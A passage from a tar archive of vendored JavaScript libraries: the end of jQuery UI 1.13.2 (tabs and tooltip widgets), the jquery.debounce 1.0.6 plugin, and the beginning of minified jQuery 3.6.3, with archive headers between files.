e.index(t)}),this._processTabs(),!1!==t.active&&this.anchors.length?this.active.length&&!V.contains(this.tablist[0],this.active[0])?this.tabs.length===t.disabled.length?(t.active=!1,this.active=V()):this._activate(this._findNextTab(Math.max(0,t.active-1),!1)):t.active=this.tabs.index(this.active):(t.active=!1,this.active=V()),this._refresh()},_refresh:function(){this._setOptionDisabled(this.options.disabled),this._setupEvents(this.options.event),this._setupHeightStyle(this.options.heightStyle),this.tabs.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}),this.panels.not(this._getPanelForTab(this.active)).hide().attr({"aria-hidden":"true"}),this.active.length?(this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}),this._addClass(this.active,"ui-tabs-active","ui-state-active"),this._getPanelForTab(this.active).show().attr({"aria-hidden":"false"})):this.tabs.eq(0).attr("tabIndex",0)},_processTabs:function(){var l=this,t=this.tabs,e=this.anchors,i=this.panels;this.tablist=this._getList().attr("role","tablist"),this._addClass(this.tablist,"ui-tabs-nav","ui-helper-reset ui-helper-clearfix ui-widget-header"),this.tablist.on("mousedown"+this.eventNamespace,"> li",function(t){V(this).is(".ui-state-disabled")&&t.preventDefault()}).on("focus"+this.eventNamespace,".ui-tabs-anchor",function(){V(this).closest("li").is(".ui-state-disabled")&&this.blur()}),this.tabs=this.tablist.find("> li:has(a[href])").attr({role:"tab",tabIndex:-1}),this._addClass(this.tabs,"ui-tabs-tab","ui-state-default"),this.anchors=this.tabs.map(function(){return V("a",this)[0]}).attr({tabIndex:-1}),this._addClass(this.anchors,"ui-tabs-anchor"),this.panels=V(),this.anchors.each(function(t,e){var i,s,n,o=V(e).uniqueId().attr("id"),a=V(e).closest("li"),r=a.attr("aria-controls");l._isLocal(e)?(n=(i=e.hash).substring(1),s=l.element.find(l._sanitizeSelector(i))):(n=a.attr("aria-controls")||V({}).uniqueId()[0].id,(s=l.element.find(i="#"+n)).length||(s=l._createPanel(n)).insertAfter(l.panels[t-1]||l.tablist),s.attr("aria-live","polite")),s.length&&(l.panels=l.panels.add(s)),r&&a.data("ui-tabs-aria-controls",r),a.attr({"aria-controls":n,"aria-labelledby":o}),s.attr("aria-labelledby",o)}),this.panels.attr("role","tabpanel"),this._addClass(this.panels,"ui-tabs-panel","ui-widget-content"),t&&(this._off(t.not(this.tabs)),this._off(e.not(this.anchors)),this._off(i.not(this.panels)))},_getList:function(){return this.tablist||this.element.find("ol, ul").eq(0)},_createPanel:function(t){return V("<div>").attr("id",t).data("ui-tabs-destroy",!0)},_setOptionDisabled:function(t){var e,i;for(Array.isArray(t)&&(t.length?t.length===this.anchors.length&&(t=!0):t=!1),i=0;e=this.tabs[i];i++)e=V(e),!0===t||-1!==V.inArray(i,t)?(e.attr("aria-disabled","true"),this._addClass(e,null,"ui-state-disabled")):(e.removeAttr("aria-disabled"),this._removeClass(e,null,"ui-state-disabled"));this.options.disabled=t,this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!0===t)},_setupEvents:function(t){var i={};t&&V.each(t.split(" "),function(t,e){i[e]="_eventHandler"}),this._off(this.anchors.add(this.tabs).add(this.panels)),this._on(!0,this.anchors,{click:function(t){t.preventDefault()}}),this._on(this.anchors,i),this._on(this.tabs,{keydown:"_tabKeydown"}),this._on(this.panels,{keydown:"_panelKeydown"}),this._focusable(this.tabs),this._hoverable(this.tabs)},_setupHeightStyle:function(t){var i,e=this.element.parent();"fill"===t?(i=e.height(),i-=this.element.outerHeight()-this.element.height(),this.element.siblings(":visible").each(function(){var t=V(this),e=t.css("position");"absolute"!==e&&"fixed"!==e&&(i-=t.outerHeight(!0))}),this.element.children().not(this.panels).each(function(){i-=V(this).outerHeight(!0)}),this.panels.each(function(){V(this).height(Math.max(0,i-V(this).innerHeight()+V(this).height()))}).css("overflow","auto")):"auto"===t&&(i=0,this.panels.each(function(){i=Math.max(i,V(this).height("").height())}).height(i))},_eventHandler:function(t){var e=this.options,i=this.active,s=V(t.currentTarget).closest("li"),n=s[0]===i[0],o=n&&e.collapsible,a=o?V():this._getPanelForTab(s),r=i.length?this._getPanelForTab(i):V(),i={oldTab:i,oldPanel:r,newTab:o?V():s,newPanel:a};t.preventDefault(),s.hasClass("ui-state-disabled")||s.hasClass("ui-tabs-loading")||this.running||n&&!e.collapsible||!1===this._trigger("beforeActivate",t,i)||(e.active=!o&&this.tabs.index(s),this.active=n?V():s,this.xhr&&this.xhr.abort(),r.length||a.length||V.error("jQuery UI Tabs: Mismatching fragment identifier."),a.length&&this.load(this.tabs.index(s),t),this._toggle(t,i))},_toggle:function(t,e){var i=this,s=e.newPanel,n=e.oldPanel;function o(){i.running=!1,i._trigger("activate",t,e)}function a(){i._addClass(e.newTab.closest("li"),"ui-tabs-active","ui-state-active"),s.length&&i.options.show?i._show(s,i.options.show,o):(s.show(),o())}this.running=!0,n.length&&this.options.hide?this._hide(n,this.options.hide,function(){i._removeClass(e.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),a()}):(this._removeClass(e.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),n.hide(),a()),n.attr("aria-hidden","true"),e.oldTab.attr({"aria-selected":"false","aria-expanded":"false"}),s.length&&n.length?e.oldTab.attr("tabIndex",-1):s.length&&this.tabs.filter(function(){return 0===V(this).attr("tabIndex")}).attr("tabIndex",-1),s.attr("aria-hidden","false"),e.newTab.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_activate:function(t){var t=this._findActive(t);t[0]!==this.active[0]&&(t=(t=!t.length?this.active:t).find(".ui-tabs-anchor")[0],this._eventHandler({target:t,currentTarget:t,preventDefault:V.noop}))},_findActive:function(t){return!1===t?V():this.tabs.eq(t)},_getIndex:function(t){return t="string"==typeof t?this.anchors.index(this.anchors.filter("[href$='"+V.escapeSelector(t)+"']")):t},_destroy:function(){this.xhr&&this.xhr.abort(),this.tablist.removeAttr("role").off(this.eventNamespace),this.anchors.removeAttr("role tabIndex").removeUniqueId(),this.tabs.add(this.panels).each(function(){V.data(this,"ui-tabs-destroy")?V(this).remove():V(this).removeAttr("role tabIndex aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded")}),this.tabs.each(function(){var t=V(this),e=t.data("ui-tabs-aria-controls");e?t.attr("aria-controls",e).removeData("ui-tabs-aria-controls"):t.removeAttr("aria-controls")}),this.panels.show(),"content"!==this.options.heightStyle&&this.panels.css("height","")},enable:function(i){var t=this.options.disabled;!1!==t&&(t=void 0!==i&&(i=this._getIndex(i),Array.isArray(t)?V.map(t,function(t){return t!==i?t:null}):V.map(this.tabs,function(t,e){return e!==i?e:null})),this._setOptionDisabled(t))},disable:function(t){var e=this.options.disabled;if(!0!==e){if(void 0===t)e=!0;else{if(t=this._getIndex(t),-1!==V.inArray(t,e))return;e=Array.isArray(e)?V.merge([t],e).sort():[t]}this._setOptionDisabled(e)}},load:function(t,s){t=this._getIndex(t);function n(t,e){"abort"===e&&o.panels.stop(!1,!0),o._removeClass(i,"ui-tabs-loading"),a.removeAttr("aria-busy"),t===o.xhr&&delete o.xhr}var o=this,i=this.tabs.eq(t),t=i.find(".ui-tabs-anchor"),a=this._getPanelForTab(i),r={tab:i,panel:a};this._isLocal(t[0])||(this.xhr=V.ajax(this._ajaxSettings(t,s,r)),this.xhr&&"canceled"!==this.xhr.statusText&&(this._addClass(i,"ui-tabs-loading"),a.attr("aria-busy","true"),this.xhr.done(function(t,e,i){setTimeout(function(){a.html(t),o._trigger("load",s,r),n(i,e)},1)}).fail(function(t,e){setTimeout(function(){n(t,e)},1)})))},_ajaxSettings:function(t,i,s){var n=this;return{url:t.attr("href").replace(/#.*$/,""),beforeSend:function(t,e){return n._trigger("beforeLoad",i,V.extend({jqXHR:t,ajaxSettings:e},s))}}},_getPanelForTab:function(t){t=V(t).attr("aria-controls");return this.element.find(this._sanitizeSelector("#"+t))}}),!1!==V.uiBackCompat&&V.widget("ui.tabs",V.ui.tabs,{_processTabs:function(){this._superApply(arguments),this._addClass(this.tabs,"ui-tab")}});V.ui.tabs;V.widget("ui.tooltip",{version:"1.13.2",options:{classes:{"ui-tooltip":"ui-corner-all ui-widget-shadow"},content:function(){var t=V(this).attr("title");return V("<a>").text(t).html()},hide:!0,items:"[title]:not([disabled])",position:{my:"left top+15",at:"left bottom",collision:"flipfit flip"},show:!0,track:!1,close:null,open:null},_addDescribedBy:function(t,e){var i=(t.attr("aria-describedby")||"").split(/\s+/);i.push(e),t.data("ui-tooltip-id",e).attr("aria-describedby",String.prototype.trim.call(i.join(" ")))},_removeDescribedBy:function(t){var e=t.data("ui-tooltip-id"),i=(t.attr("aria-describedby")||"").split(/\s+/),e=V.inArray(e,i);-1!==e&&i.splice(e,1),t.removeData("ui-tooltip-id"),(i=String.prototype.trim.call(i.join(" ")))?t.attr("aria-describedby",i):t.removeAttr("aria-describedby")},_create:function(){this._on({mouseover:"open",focusin:"open"}),this.tooltips={},this.parents={},this.liveRegion=V("<div>").attr({role:"log","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this.disabledTitles=V([])},_setOption:function(t,e){var i=this;this._super(t,e),"content"===t&&V.each(this.tooltips,function(t,e){i._updateContent(e.element)})},_setOptionDisabled:function(t){this[t?"_disable":"_enable"]()},_disable:function(){var s=this;V.each(this.tooltips,function(t,e){var i=V.Event("blur");i.target=i.currentTarget=e.element[0],s.close(i,!0)}),this.disabledTitles=this.disabledTitles.add(this.element.find(this.options.items).addBack().filter(function(){var t=V(this);if(t.is("[title]"))return t.data("ui-tooltip-title",t.attr("title")).removeAttr("title")}))},_enable:function(){this.disabledTitles.each(function(){var t=V(this);t.data("ui-tooltip-title")&&t.attr("title",t.data("ui-tooltip-title"))}),this.disabledTitles=V([])},open:function(t){var i=this,e=V(t?t.target:this.element).closest(this.options.items);e.length&&!e.data("ui-tooltip-id")&&(e.attr("title")&&e.data("ui-tooltip-title",e.attr("title")),e.data("ui-tooltip-open",!0),t&&"mouseover"===t.type&&e.parents().each(function(){var t,e=V(this);e.data("ui-tooltip-open")&&((t=V.Event("blur")).target=t.currentTarget=this,i.close(t,!0)),e.attr("title")&&(e.uniqueId(),i.parents[this.id]={element:this,title:e.attr("title")},e.attr("title",""))}),this._registerCloseHandlers(t,e),this._updateContent(e,t))},_updateContent:function(e,i){var t=this.options.content,s=this,n=i?i.type:null;if("string"==typeof t||t.nodeType||t.jquery)return this._open(i,e,t);(t=t.call(e[0],function(t){s._delay(function(){e.data("ui-tooltip-open")&&(i&&(i.type=n),this._open(i,e,t))})}))&&this._open(i,e,t)},_open:function(t,e,i){var s,n,o,a=V.extend({},this.options.position);function r(t){a.of=t,n.is(":hidden")||n.position(a)}i&&((s=this._find(e))?s.tooltip.find(".ui-tooltip-content").html(i):(e.is("[title]")&&(t&&"mouseover"===t.type?e.attr("title",""):e.removeAttr("title")),s=this._tooltip(e),n=s.tooltip,this._addDescribedBy(e,n.attr("id")),n.find(".ui-tooltip-content").html(i),this.liveRegion.children().hide(),(i=V("<div>").html(n.find(".ui-tooltip-content").html())).removeAttr("name").find("[name]").removeAttr("name"),i.removeAttr("id").find("[id]").removeAttr("id"),i.appendTo(this.liveRegion),this.options.track&&t&&/^mouse/.test(t.type)?(this._on(this.document,{mousemove:r}),r(t)):n.position(V.extend({of:e},this.options.position)),n.hide(),this._show(n,this.options.show),this.options.track&&this.options.show&&this.options.show.delay&&(o=this.delayedShow=setInterval(function(){n.is(":visible")&&(r(a.of),clearInterval(o))},13)),this._trigger("open",t,{tooltip:n})))},_registerCloseHandlers:function(t,e){var i={keyup:function(t){t.keyCode===V.ui.keyCode.ESCAPE&&((t=V.Event(t)).currentTarget=e[0],this.close(t,!0))}};e[0]!==this.element[0]&&(i.remove=function(){var t=this._find(e);t&&this._removeTooltip(t.tooltip)}),t&&"mouseover"!==t.type||(i.mouseleave="close"),t&&"focusin"!==t.type||(i.focusout="close"),this._on(!0,e,i)},close:function(t){var e,i=this,s=V(t?t.currentTarget:this.element),n=this._find(s);n?(e=n.tooltip,n.closing||(clearInterval(this.delayedShow),s.data("ui-tooltip-title")&&!s.attr("title")&&s.attr("title",s.data("ui-tooltip-title")),this._removeDescribedBy(s),n.hiding=!0,e.stop(!0),this._hide(e,this.options.hide,function(){i._removeTooltip(V(this))}),s.removeData("ui-tooltip-open"),this._off(s,"mouseleave focusout keyup"),s[0]!==this.element[0]&&this._off(s,"remove"),this._off(this.document,"mousemove"),t&&"mouseleave"===t.type&&V.each(this.parents,function(t,e){V(e.element).attr("title",e.title),delete i.parents[t]}),n.closing=!0,this._trigger("close",t,{tooltip:e}),n.hiding||(n.closing=!1))):s.removeData("ui-tooltip-open")},_tooltip:function(t){var e=V("<div>").attr("role","tooltip"),i=V("<div>").appendTo(e),s=e.uniqueId().attr("id");return this._addClass(i,"ui-tooltip-content"),this._addClass(e,"ui-tooltip","ui-widget ui-widget-content"),e.appendTo(this._appendTo(t)),this.tooltips[s]={element:t,tooltip:e}},_find:function(t){t=t.data("ui-tooltip-id");return t?this.tooltips[t]:null},_removeTooltip:function(t){clearInterval(this.delayedShow),t.remove(),delete this.tooltips[t.attr("id")]},_appendTo:function(t){t=t.closest(".ui-front, dialog");return t=!t.length?this.document[0].body:t},_destroy:function(){var s=this;V.each(this.tooltips,function(t,e){var i=V.Event("blur"),e=e.element;i.target=i.currentTarget=e[0],s.close(i,!0),V("#"+t).remove(),e.data("ui-tooltip-title")&&(e.attr("title")||e.attr("title",e.data("ui-tooltip-title")),e.removeData("ui-tooltip-title"))}),this.liveRegion.remove()}}),!1!==V.uiBackCompat&&V.widget("ui.tooltip",V.ui.tooltip,{options:{tooltipClass:null},_tooltip:function(){var t=this._superApply(arguments);return this.options.tooltipClass&&t.tooltip.addClass(this.options.tooltipClass),t}});V.ui.tooltip});��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jquery/jquery.debounce-1.0.6.js��������������������������������������������������������������0000666�����������������00000003110�15172447206�0013467 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * Debounce and throttle function's decorator plugin 1.0.6 * * Copyright (c) 2009 Filatov Dmitry (alpha@zforms.ru) * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * */ (function ($) { $.extend({ /** * Debounce's decorator * @param {Function} fn original function * @param {Number} timeout timeout * @param {Boolean} [invokeAsap=false] invoke function as soon as possible * @param {Object} [ctx] context of original function */ debounce: function (fn, timeout, invokeAsap, ctx) { if (arguments.length == 3 && typeof invokeAsap != 'boolean') { ctx = invokeAsap; invokeAsap = false; } var timer; return function () { var args = arguments; ctx = ctx || this; invokeAsap && !timer && fn.apply(ctx, args); clearTimeout(timer); timer = setTimeout(function () { invokeAsap || fn.apply(ctx, args); timer = null; }, timeout); }; }, /** * Throttle's decorator * @param {Function} fn original function * @param {Number} timeout timeout * @param {Object} [ctx] context of original function */ throttle: function (fn, timeout, ctx) { var timer, args, needInvoke; return function () { args = arguments; needInvoke = true; ctx = ctx || this; timer || (function () { if (needInvoke) { fn.apply(ctx, args); needInvoke = false; timer = setTimeout(arguments.callee, timeout); } else { timer = null; } })(); }; } }); })(jQuery);��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/jquery/jquery.min.js�������������������������������������������������������������������������0000666�����������������00000257533�15172447206�0012052 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! jQuery v3.6.3 | (c) OpenJS Foundation and other contributors | jquery.org/license */ !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},S=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||S).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.3",E=function(e,t){return new E.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}E.fn=E.prototype={jquery:f,constructor:E,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=E.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return E.each(this,e)},map:function(n){return this.pushStack(E.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(E.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(E.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:t.sort,splice:t.splice},E.extend=E.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||m(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(E.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||E.isPlainObject(n)?n:{},i=!1,a[t]=E.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},E.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==o.call(e))&&(!(t=r(e))||"function"==typeof(n=y.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t||[];return null!=e&&(p(Object(e))?E.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:v}),"function"==typeof Symbol&&(E.fn[Symbol.iterator]=t[Symbol.iterator]),E.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,S,y,s,c,v,E="sizzle"+1*new Date,p=n.document,k=0,r=0,m=ue(),x=ue(),A=ue(),N=ue(),j=function(e,t){return e===t&&(l=!0),0},D={}.hasOwnProperty,t=[],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",I="(?:\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",W="\\["+M+"*("+I+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+I+"))|)"+M+"*\\]",F=":("+I+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+W+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),_=new RegExp("^"+M+"*,"+M+"*"),z=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,S)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&v(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!y||!y.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ve(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=E)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{if(d.cssSupportsSelector&&!CSS.supports("selector(:is("+c+"))"))throw new Error;return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===E&&e.removeAttribute("id")}}}return g(t.replace(B,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[E]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ye(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ve(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,S=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.cssSupportsSelector=ce(function(){return CSS.supports("selector(*)")&&C.querySelectorAll(":is(:jqfake)")&&!CSS.supports("selector(:is(*,:jqfake))")}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=E,!C.getElementsByName||!C.getElementsByName(E).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&S){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&S){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&S)return t.getElementsByClassName(e)},s=[],y=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="<a id='"+E+"'></a><select id='"+E+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+E+"-]").length||y.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||y.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+E+"+*").length||y.push(".#.+[+~]"),e.querySelectorAll("\\\f"),y.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),d.cssSupportsSelector||y.push(":has"),y=y.length&&new RegExp(y.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),v=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType&&e.documentElement||e,r=t&&t.parentNode;return 